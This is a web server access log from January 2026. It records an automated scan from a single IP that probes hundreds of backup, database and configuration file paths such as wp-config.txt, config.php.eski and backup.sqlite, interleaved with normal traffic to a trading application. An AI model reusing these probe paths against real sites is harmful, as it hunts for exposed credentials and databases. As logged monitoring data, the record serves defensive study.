[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.jar HTTP/1.1" 196
[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.3 HTTP/1.1" 196
[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.jar HTTP/1.1" 196
[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.3 HTTP/1.1" 196
[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.jar HTTP/1.1" 196
[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.3 HTTP/1.1" 196
[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.jar HTTP/1.1" 196
[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.eski HTTP/1.1" 196
[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.3 HTTP/1.1" 196
[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.jar HTTP/1.1" 196
[09/Jan/2026:10:58:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.jar HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.jar HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.jar HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.jar HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.jar HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.jar HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:58:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:58:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.jar HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.jar HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.jar HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.jar HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.jar HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:58:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:58:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.jar HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.jar HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.jar HTTP/1.1" 196
[09/Jan/2026:10:58:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.jar HTTP/1.1" 196
[09/Jan/2026:10:58:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.jar HTTP/1.1" 196
[09/Jan/2026:10:58:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.jar HTTP/1.1" 196
[09/Jan/2026:10:58:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.eski HTTP/1.1" 196
[09/Jan/2026:10:58:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927776237 HTTP/1.1" -
[09/Jan/2026:10:58:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.jar HTTP/1.1" 196
[09/Jan/2026:10:58:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.eski HTTP/1.1" 196
[09/Jan/2026:10:58:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.jar HTTP/1.1" 196
[09/Jan/2026:10:58:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.eski HTTP/1.1" 196
[09/Jan/2026:10:58:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.jar HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.jar HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.txt HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.jar HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927764979 HTTP/1.1" -
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.jar HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927762928 HTTP/1.1" -
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.txt HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.txt HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.txt HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927770027 HTTP/1.1" -
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927782231 HTTP/1.1" -
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927767965 HTTP/1.1" -
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.sqlite HTTP/1.1" 196
[09/Jan/2026:10:58:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:58:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.txt HTTP/1.1" 196
[09/Jan/2026:10:58:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.sqlitedb HTTP/1.1" 196
